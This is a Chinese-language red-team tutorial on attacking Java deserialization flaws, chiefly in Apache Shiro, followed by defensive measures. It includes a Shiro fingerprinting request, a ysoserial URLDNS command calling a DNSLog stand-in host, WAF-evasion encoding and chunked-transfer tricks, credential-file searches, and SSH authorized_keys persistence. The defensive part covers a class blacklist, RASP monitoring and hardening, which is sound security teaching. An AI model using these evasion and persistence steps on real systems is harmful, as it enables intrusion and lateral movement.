
从红队视角拆解Java反序列化攻防实战当企业安全团队进行内部红蓝对抗演练时Java反序列化漏洞往往成为攻击方突破边界的关键跳板。在一次典型的渗透测试中攻击者可能从暴露在公网的Java应用入手利用Shiro等框架的反序列化缺陷绕过层层防御最终实现内网横向移动。本文将还原这类攻击的完整技术链路并给出可落地的防御方案。1. 目标识别与漏洞探测在真实的红队行动中攻击者通常不会盲目扫描整个网络而是通过指纹识别和特征分析锁定高价值目标。以Apache Shiro框架为例其默认配置会暴露关键特征GET /admin/login HTTP/1.1 Host: target.com Cookie: rememberMe1若响应头包含Set-Cookie: rememberMedeleteMe即可确认目标使用Shiro框架。这种非侵入式检测方式能有效规避基础WAF的防护规则。对于存在WAF的环境攻击者会采用分阶段验证策略先发送无害的测试payload观察响应通过DNSLog等无回显技术验证漏洞逐步增加payload复杂度绕过过滤例如使用URLDNS链进行盲测java -jar ysoserial.jar URLDNS http://dnslog.example.com | base64 -w02. 绕过WAF的编码与混淆技术现代WAF通常具备对常见攻击特征如Runtime.exec()的检测能力。红队需要针对不同防护层采用相应绕过手段2.1 载荷编码方案对比编码类型适用场景示例Base64基础编码需求rO0AB...URL编码处理特殊字符%AC%ED%00%05Hex编码规避关键词检测\xac\xed\x00\x05Unicode绕过正则匹配\u00ac\u00ed2.2 分块传输技巧通过HTTP分块传输编码(chunked)拆分恶意payloadPOST /api HTTP/1.1 Transfer-Encoding: chunked 5 rO0AB 3 XNy ...配合时间延迟参数可进一步绕过行为分析Thread.sleep(Math.random() * 3000);3. 内网横向扩展技术成功获取边界服务器权限后攻击者通常会进行以下操作信息收集# 查看网络配置 ifconfig /all # 检查ARP缓存 arp -a # 寻找数据库连接信息 find / -name *.properties利用其他Java服务漏洞Weblogic T3协议反序列化Fastjson远程类加载Jenkins Groovy沙箱绕过建立持久化通道# 生成SSH密钥对 ssh-keygen -t rsa -b 4096 # 写入目标机authorized_keys echo pubkey ~/.ssh/authorized_keys4. 企业级防御方案设计针对上述攻击链建议采用分层防御策略4.1 基础防护措施升级Shiro至最新版本≥1.7.0修改默认加密密钥禁用不必要的反序列化功能4.2 高级检测机制// 自定义ObjectInputStream过滤危险类 public class SafeObjectInputStream extends ObjectInputStream { private static final SetString BLACKLIST Set.of(org.apache.commons.collections...); protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (BLACKLIST.contains(desc.getName())) { throw new InvalidClassException(Unauthorized deserialization attempt); } return super.resolveClass(desc); } }4.3 网络层防护对出站DNS请求实施严格管控在内网部署流量镜像分析系统对管理接口实施双因素认证在一次真实的客户案例中我们通过部署RASP运行时应用自保护技术成功拦截了攻击者尝试利用JRMP协议进行的横向移动。该方案通过在Java虚拟机层植入探针能够实时检测异常的反序列化操作// RASP检测示例 public class DeserializationMonitor { public static void check(Object obj) { if (obj instanceof Remote) { throw new SecurityException(JRMP connection detected); } } }对于关键业务系统建议定期进行反序列化漏洞专项审计使用工具如SerialKiller进行自动化扫描同时结合人工代码审查验证修复效果。